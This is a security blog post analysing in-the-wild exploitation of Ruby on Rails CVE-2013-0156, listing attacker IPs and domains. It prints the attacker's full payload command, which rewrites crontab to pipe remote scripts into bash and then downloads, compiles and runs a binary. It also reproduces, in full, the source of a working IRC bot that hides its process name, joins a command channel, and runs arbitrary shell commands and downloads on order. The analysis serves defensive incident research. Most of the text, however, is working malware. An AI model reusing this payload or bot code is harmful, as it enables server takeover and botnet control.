RoR CVE-2013-0156 in the Wild

| Comments

Ruby on Rails CVE-2013-0156 has recently been exploited in the wild. This vulnerability was the subject of much discussion, and an emergency RoR advisory back in January. It’s pretty suprising that it’s taken this long to surface in the wild, but less suprising that people are still running vulnerable installations of Rails. It also appears to be affected some web hosts

Exploit activity is reportedly sourcing from * 88.198.20.247 * 95.138.186.181 * 188.190.126.105

The payload consists of the following;

1
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget  -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k

This adds a command to crontab which downloads and executes files called cmd1, cmd2, and cmd3. At the time of this writing, these are no longer available. These domains have been previously associated with supsicious activity

Next, it downloads a C source file called k.c to /tmp, compiles it using the system’s gcc, and executes it.

Finally, it downloads and executes a pre-compiled version of k, presumably in case compilation fails.

The source of k.c is available.

This file executes with a name of ‘– bash’ which will appear in the processlist. It sets up an IRC bot, which connects to either cvv4you.ru (currently 188.190.124.81) or the bare IP 188.190.124.120 and joins the channel #rails. While the code supports it, no channel key is used. THe script uses a randomly generated 9 character nickname when connecting to IRC.

A lockfile ‘/tmp/tan.pid’ ensures the bot only executes once on an infected host.

Functionality is limited, but includes the ability to download and execute files as commanded, as well as changing servers. There’s no authentication performed, so an enterprising individual could hijack these bots fairly easily by joining the IRC server and issuing the appropriate commands.

In short, this is a pretty straightforward skiddy exploit of a vulnerability that has been publicly known, and warned about, for months.

That isn’t to say it won’t make a bad day for some people, though.

Full source of k.c follows;

k.c source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
////////////////////////////////////////////////////////////////////////////////
//                                EDIT THESE                                  //
////////////////////////////////////////////////////////////////////////////////
#undef STARTUP // Start on startup?
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "- bash" // What you want this to hide as
#define CHAN "#rails"         // Channel to join
#define TEMPDIR "/var/tmp"          // Where to save generated ips text file
#define KEY ""   // The key of the channel
#define VERSION "0.1"          // dfnctsc-kaiten release version
#define PORT 6667       // Port of server(s)
int numservers = 1; // Must change this to equal number of servers down there
char *servers[] = {// List the servers in that format, always end in (void*)0
    "cvv4you.ru",
    "188.190.124.120",
    (void*) 0
};
////////////////////////////////////////////////////////////////////////////////
//                               STOP HERE!                                   //
////////////////////////////////////////////////////////////////////////////////
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <strings.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <time.h>
#include <ctype.h>
#include <sys/wait.h>
#include <sys/ioctl.h>

int sock, changeservers = 0;
char *server, *chan, *key, *nick, *ident, *user, execfile[256], dispass[256];
unsigned int *pids;
unsigned long spoofs = 0, spoofsm = 0, numpids = 0, running = 0;

int strwildmatch(const char* pattern, const char* string) {
    switch (*pattern) {
        case '\0': return *string;
        case '*': return !(!strwildmatch(pattern + 1, string) || *string && !strwildmatch(pattern, string + 1));
        case '?': return !(*string && !strwildmatch(pattern + 1, string + 1));
        default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern + 1, string + 1));
    }
}

int send_msg(int sock, char *words, ...) {
    static char textBuffer[1024];
    va_list args;
    va_start(args, words);
    vsprintf(textBuffer, words, args);
    va_end(args);
    return write(sock, textBuffer, strlen(textBuffer));
}

int mfork(char *sender) {
    unsigned int parent, *newpids, i;
    parent = fork();
    if (parent <= 0) return parent;
    numpids++;
    newpids = (unsigned int*) malloc((numpids + 1) * sizeof (unsigned int));
    for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
    newpids[numpids - 1] = parent;
    free(pids);
    pids = newpids;
    return parent;
}

void filter(char *a) {
    while (a[strlen(a) - 1] == '\r' || a[strlen(a) - 1] == '\n') a[strlen(a) - 1] = 0;
}

char *makestring() {
    char *tmp;
    int len = 9, i;
    tmp = (char*) malloc(len + 1);
    memset(tmp, 0, len + 1);
    for (i = 0; i < len; i++) tmp[i] = (rand() % (91 - 65)) + 65;
    return tmp;
}

long pow(long a, long b) {
    if (b == 0) return 1;
    if (b == 1) return a;
    return a * pow(a, b - 1);
}

u_short in_cksum(u_short *addr, int len) {
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }
    if (nleft == 1) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return (answer);
}

void get(int sock, char *sender, int argc, char **argv) {
    int sock2, i, d;
    struct sockaddr_in server;
    unsigned long ipaddr;
    char buf[1024];
    FILE *file;
    unsigned char bufm[4096];
    if (mfork(sender) != 0) return;
    if (argc < 2) {
        send_msg(sock, "PRIVMSG %s :GET <host> <save as>\n", sender);
        exit(0);
    }
    if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        send_msg(sock, "PRIVMSG %s :Unable to create socket.\n", sender);
        exit(0);
    }
    if (!strncmp(argv[1], "http://", 7)) strcpy(buf, argv[1] + 7);
    else strcpy(buf, argv[1]);
    for (i = 0; i < strlen(buf) && buf[i] != '/'; i++);
    buf[i] = 0;
    server.sin_family = AF_INET;
    server.sin_port = htons(80);
    if ((ipaddr = inet_addr(buf)) == -1) {
        struct hostent *hostm;
        if ((hostm = gethostbyname(buf)) == NULL) {
            send_msg(sock, "PRIVMSG %s :Unable to resolve address.\n", sender);
            exit(0);
        }
        memcpy((char*) &server.sin_addr, hostm->h_addr, hostm->h_length);
    } else server.sin_addr.s_addr = ipaddr;
    memset(&(server.sin_zero), 0, 8);
    if (connect(sock2, (struct sockaddr *) &server, sizeof (server)) != 0) {
        send_msg(sock, "PRIVMSG %s :Unable to connect to http.\n", sender);
        exit(0);
    }

    send_msg(sock2, "GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n", buf + i + 1, buf);
    send_msg(sock, "PRIVMSG %s :Receiving file.\n", chan);
    file = fopen(argv[2], "wb");
    while (1) {
        int i;
        if ((i = recv(sock2, bufm, 4096, 0)) <= 0) break;
        if (i < 4096) bufm[i] = 0;
        for (d = 0; d < i; d++) if (!strncmp(bufm + d, "\r\n\r\n", 4)) {
                for (d += 4; d < i; d++) fputc(bufm[d], file);
                goto done;
            }
    }
done:
    send_msg(sock, "PRIVMSG %s :Saved as %s\n", chan, argv[2]);
    while (1) {
        int i, d;
        if ((i = recv(sock2, bufm, 4096, 0)) <= 0) break;
        if (i < 4096) bufm[i] = 0;
        for (d = 0; d < i; d++) fputc(bufm[d], file);
    }
    fclose(file);
    close(sock2);
    exit(0);
}

void nickc(int sock, char *sender, int argc, char **argv) {
    if (argc != 1) {
        send_msg(sock, "PRIVMSG %s :NICK <nick>\n", sender);
        return;
    }
    if (strlen(argv[1]) >= 10) {
        send_msg(sock, "PRIVMSG %s :Nick cannot be larger than 9 characters.\n", sender);
        return;
    }
    send_msg(sock, "NICK %s\n", argv[1]);
}

struct iphdr {
    unsigned int ihl : 4, version : 4;
    unsigned char tos;
    unsigned short tot_len;
    unsigned short id;
    unsigned short frag_off;
    unsigned char ttl;
    unsigned char protocol;
    unsigned short check;
    unsigned long saddr;
    unsigned long daddr;
};

struct udphdr {
    unsigned short source;
    unsigned short dest;
    unsigned short len;
    unsigned short check;
};

struct tcphdr {
    unsigned short source;
    unsigned short dest;
    unsigned long seq;
    unsigned long ack_seq;
    unsigned short res1 : 4, doff : 4;
    unsigned char fin : 1, syn : 1, rst : 1, psh : 1, ack : 1, urg : 1, ece : 1, cwr : 1;
    unsigned short window;
    unsigned short check;
    unsigned short urg_ptr;
};

struct send_tcp {
    struct iphdr ip;
    struct tcphdr tcp;
    char buf[20];
};

struct pseudo_header {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    struct tcphdr tcp;
    char buf[20];
};

unsigned int host2ip(char *sender, char *hostname) {
    static struct in_addr i;
    struct hostent *h;
    if ((i.s_addr = inet_addr(hostname)) == -1) {
        if ((h = gethostbyname(hostname)) == NULL) {
            send_msg(sock, "PRIVMSG %s :Unable to resolve %s\n", sender, hostname);
            exit(0);
        }
        bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);
    }
    return i.s_addr;
}

void move(int sock, char *sender, int argc, char **argv) {
    if (argc < 1) {
        send_msg(sock, "PRIVMSG %s :MOVE <server>\n", sender);
        exit(1);
    }
    server = strdup(argv[1]);
    changeservers = 1;
    close(sock);
}

void killd(int sock, char *sender, int argc, char **argv) {
    kill(0, 9);
}

void help(int sock, char *sender, int argc, char **argv) {
    if (mfork(sender) != 0) return;
    send_msg(sock, "NOTICE %s :NICK <nick>                                      = Changes the nick of the client\n", sender);
    send_msg(sock, "NOTICE %s :SERVER <server>                                  = Changes servers\n", sender);
    send_msg(sock, "NOTICE %s :KILL                                             = Kills the client\n", sender);
    send_msg(sock, "NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd\n", sender);
    send_msg(sock, "NOTICE %s :HELP                                             = Displays this\n", sender);
    send_msg(sock, "NOTICE %s :IRC <command>                                    = send_msgs this command to the server\n", sender);
    send_msg(sock, "NOTICE %s :SH <command>                                     = Executes a command\n", sender);
    exit(0);
}

struct FMessages {
    char *cmd;
    void (* func)(int, char *, int, char **);
} flooders[] = {

    { "NICK", nickc},
    { "SERVER", move},
    { "GET", get},
    { "KILL", killd},
    { "HELP", help},

    { (char *) 0, (void (*)(int, char *, int, char **))0}
};

void _PRIVMSG(int sock, char *sender, char *str) {
    int i;
    char *to, *message;
    for (i = 0; i < strlen(str) && str[i] != ' '; i++);
    str[i] = 0;
    to = str;
    message = str + i + 2;
    for (i = 0; i < strlen(sender) && sender[i] != '!'; i++);
    sender[i] = 0;
    if (*message == '!' && !strcasecmp(to, chan)) {
        char *params[12], name[1024] = {0};
        int num_params = 0, m;
        message++;
        for (i = 0; i < strlen(message) && message[i] != ' '; i++);
        message[i] = 0;
        if (strwildmatch(message, nick)) return;
        message += i + 1;
        if (!strncmp(message, "IRC ", 4)) send_msg(sock, "%s\n", message + 4);
        if (!strncmp(message, "SH ", 3)) {
            char buf[1024];
            FILE *command;
            if (mfork(sender) != 0) return;
            memset(buf, 0, 1024);
            sprintf(buf, "export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s", message + 3);
            command = popen(buf, "r");
            while (!feof(command)) {
                memset(buf, 0, 1024);
                fgets(buf, 1024, command);
                send_msg(sock, "PRIVMSG %s :%s\n", chan, buf);
                sleep(1);
            }
            pclose(command);
            exit(0);
        }
        m = strlen(message);
        for (i = 0; i < m; i++) {
            if (*message == ' ' || *message == 0) break;
            name[i] = *message;
            message++;
        }
        for (i = 0; i < strlen(message); i++) if (message[i] == ' ') num_params++;
        num_params++;
        if (num_params > 10) num_params = 10;
        params[0] = name;
        params[num_params + 1] = "\0";
        m = 1;
        while (*message != 0) {
            message++;
            if (m >= num_params) break;
            for (i = 0; i < strlen(message) && message[i] != ' '; i++);
            params[m] = (char*) malloc(i + 1);
            strncpy(params[m], message, i);
            params[m][i] = 0;
            m++;
            message += i;
        }
        for (m = 0; flooders[m].cmd != (char *) 0; m++) {
            if (!strcasecmp(flooders[m].cmd, name)) {
                flooders[m].func(sock, sender, num_params - 1, params);
                for (i = 1; i < num_params; i++) free(params[i]);
                return;
            }
        }
    }
}

void _376(int sock, char *sender, char *str) {
    send_msg(sock, "MODE %s -ix\n", nick);
    send_msg(sock, "JOIN %s :%s\n", chan, key);
    send_msg(sock, "WHO %s\n", nick);
}

void _PING(int sock, char *sender, char *str) {
    send_msg(sock, "PONG %s\n", str);
}

void _352(int sock, char *sender, char *str) {
    int i, d;
    char *msg = str;
    struct hostent *hostm;
    unsigned long m;
    for (i = 0, d = 0; d < 5; d++) {
        for (; i < strlen(str) && *msg != ' '; msg++, i++);
        msg++;
        if (i == strlen(str)) return;
    }
    for (i = 0; i < strlen(msg) && msg[i] != ' '; i++);
    msg[i] = 0;
    if (!strcasecmp(msg, nick) && !spoofsm) {
        msg = str;
        for (i = 0, d = 0; d < 3; d++) {
            for (; i < strlen(str) && *msg != ' '; msg++, i++);
            msg++;
            if (i == strlen(str)) return;
        }
        for (i = 0; i < strlen(msg) && msg[i] != ' '; i++);
        msg[i] = 0;
        if ((m = inet_addr(msg)) == -1) {
            if ((hostm = gethostbyname(msg)) == NULL) {
                send_msg(sock, "PRIVMSG %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n", sender);
                return;
            }
            memcpy((char*) &m, hostm->h_addr, hostm->h_length);
        }
        ((char*) &spoofs)[3] = ((char*) &m)[0];
        ((char*) &spoofs)[2] = ((char*) &m)[1];
        ((char*) &spoofs)[1] = ((char*) &m)[2];
        ((char*) &spoofs)[0] = 0;
        spoofsm = 256;
    }
}

void _433(int sock, char *sender, char *str) {
    free(nick);
    nick = makestring();
}

void _NICK(int sock, char *sender, char *str) {
    int i;
    for (i = 0; i < strlen(sender) && sender[i] != '!'; i++);
    sender[i] = 0;
    if (!strcasecmp(sender, nick)) {
        if (*str == ':') str++;
        if (nick) free(nick);
        nick = strdup(str);
    }
}

struct Messages {
    char *cmd;
    void (* func)(int, char *, char *);
} msgs[] = {
    { "352", _352},
    { "376", _376},
    { "433", _433},
    { "422", _376},
    { "PRIVMSG", _PRIVMSG},
    { "PING", _PING},
    { "NICK", _NICK},
    { (char *) 0, (void (*)(int, char *, char *))0}
};

void con() {
    struct sockaddr_in srv;
    unsigned long ipaddr, start;
    int flag;
    struct hostent *hp;
start:
    sock = -1;
    flag = 1;
    if (changeservers == 0) server = servers[rand() % numservers];
    changeservers = 0;
    while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
    if (inet_addr(server) == 0 || inet_addr(server) == -1) {
        if ((hp = gethostbyname(server)) == NULL) {
            server = NULL;
            close(sock);
            goto start;
        }
        bcopy((char*) hp->h_addr, (char*) &srv.sin_addr, hp->h_length);
    } else srv.sin_addr.s_addr = inet_addr(server);
    srv.sin_family = AF_INET;
    srv.sin_port = htons(PORT);
    ioctl(sock, FIONBIO, &flag);
    start = time(NULL);
    while (time(NULL) - start < 10) {
        errno = 0;
        if (connect(sock, (struct sockaddr *) &srv, sizeof (srv)) == 0 || errno == EISCONN) {
            setsockopt(sock, SOL_SOCKET, SO_LINGER, 0, 0);
            setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, 0, 0);
            setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, 0, 0);
            return;
        }
        if (!(errno == EINPROGRESS || errno == EALREADY)) break;
        sleep(1);
    }
    server = NULL;
    close(sock);
    goto start;
}

int lockfile() {
    int pid_file = open("/tmp/tan.pid", O_CREAT | O_RDWR, 0666);
    int rc = flock(pid_file, LOCK_EX | LOCK_NB);
    if (rc && EWOULDBLOCK == errno) {
        printf("Lockfile found. Exiting.");
        exit(0);
    }
}

int main(int argc, char **argv) {
    lockfile();
    int on, i;
    char cwd[256], *str;
    FILE *file;
#ifdef STARTUP
    str = "/etc/rc.d/rc.local";
    file = fopen(str, "r");
    if (file == NULL) {
        str = "/etc/rc.conf";
        file = fopen(str, "r");
    }
    if (file != NULL) {
        char outfile[256], buf[1024];
        int i = strlen(argv[0]), d = 0;
        getcwd(cwd, 256);
        if (strcmp(cwd, "/")) {
            while (argv[0][i] != '/') i--;
            sprintf(outfile, "\"%s%s\"\n", cwd, argv[0] + i);
            while (!feof(file)) {
                fgets(buf, 1024, file);
                if (!strcasecmp(buf, outfile)) d++;
            }
            if (d == 0) {
                FILE *out;
                fclose(file);
                out = fopen(str, "a");
                if (out != NULL) {
                    fputs(outfile, out);
                    fclose(out);
                }
            } else fclose(file);
        } else fclose(file);
    }
#endif
    if (fork()) exit(0);
#ifdef FAKENAME
    strncpy(argv[0], FAKENAME, strlen(argv[0]));
    for (on = 1; on < argc; on++) memset(argv[on], 0, strlen(argv[on]));
#endif
    srand((time(NULL) ^ getpid()) + getppid());
    nick = makestring();
    ident = makestring();
    user = "raft";
    chan = CHAN;
    key = KEY;
    server = NULL;
sa:
#ifdef IDENT
    for (i = 0; i < numpids; i++) {
        if (pids[i] != 0 && pids[i] != getpid()) {
            kill(pids[i], 9);
            waitpid(pids[i], NULL, WNOHANG);
        }
    }
    pids = NULL;
    numpids = 0;
    identd();
#endif
    con();
    send_msg(sock, "NICK %s\nUSER %s localhost localhost :%s\n", nick, ident, user);
    while (1) {
        unsigned long i;
        fd_set n;
        struct timeval tv;
        FD_ZERO(&n);
        FD_SET(sock, &n);
        tv.tv_sec = 60 * 20;
        tv.tv_usec = 0;
        if (select(sock + 1, &n, (fd_set*) 0, (fd_set*) 0, &tv) <= 0) goto sa;
        for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
                unsigned int *newpids, on;
                for (on = i + 1; on < numpids; on++) pids[on - 1] = pids[on];
                pids[on - 1] = 0;
                numpids--;
                newpids = (unsigned int*) malloc((numpids + 1) * sizeof (unsigned int));
                for (on = 0; on < numpids; on++) newpids[on] = pids[on];
                free(pids);
                pids = newpids;
            }
        if (FD_ISSET(sock, &n)) {
            char buf[4096], *str;
            int i;
            if ((i = recv(sock, buf, 4096, 0)) <= 0) goto sa;
            buf[i] = 0;
            str = strtok(buf, "\n");
            while (str && *str) {
                char name[1024], sender[1024];
                filter(str);
                if (*str == ':') {
                    for (i = 0; i < strlen(str) && str[i] != ' '; i++);
                    str[i] = 0;
                    strcpy(sender, str + 1);
                    strcpy(str, str + i + 1);
                } else strcpy(sender, "*");
                for (i = 0; i < strlen(str) && str[i] != ' '; i++);
                str[i] = 0;
                strcpy(name, str);
                strcpy(str, str + i + 1);
                for (i = 0; msgs[i].cmd != (char *) 0; i++) if (!strcasecmp(msgs[i].cmd, name)) msgs[i].func(sock, sender, str);
                if (!strcasecmp(name, "ERROR")) goto sa;
                str = strtok((char*) NULL, "\n");
            }
        }
    }
    return 0;
}

Comments